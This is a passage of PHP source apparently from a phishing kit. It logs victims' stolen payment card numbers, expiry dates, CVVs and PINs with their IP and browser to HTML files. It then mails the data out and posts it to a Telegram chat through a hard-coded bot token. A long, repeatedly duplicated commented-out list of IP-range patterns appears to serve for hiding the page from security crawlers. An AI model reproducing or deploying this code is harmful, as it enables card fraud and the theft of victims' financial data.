".$_SESSION['pin']."
</td>
<td>
".$_SESSION['cardnutwo']."
</td>
<td>
".$_SESSION['expdatwo']."
</td>
<td>
".$_SESSION['cvvtwo']."
</td>
<td>
".$_SESSION['pintwo']."
</td>
<td>
".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
</td>
<td>
{".$_SESSION['_ip_']."}
</td>
<td>
".$TIME_DATE."
</td>
</tr>\n";
$khraha = fopen("../rz/cardstwo".$yourname.".html", "a");
fwrite($khraha, $XBALTI_ADMIN);
$xx .= "{}\n";
$khraha = fopen("../rz/cardstwo.html", "a");
fwrite($khraha, $xx);
$XBALTI_SUBJECT .= "CARD TWO 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From:".$yourname." <webmaster@".$_SERVER['HTTP_HOST'].">" . "\r\n";
$XBALTI_HEADERS = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
}
$data = [
'chat_id' => '@antibotencrypt',
'text' => $XBALTI_MESSAGE
];
//"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*"//
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
}
?>
More Research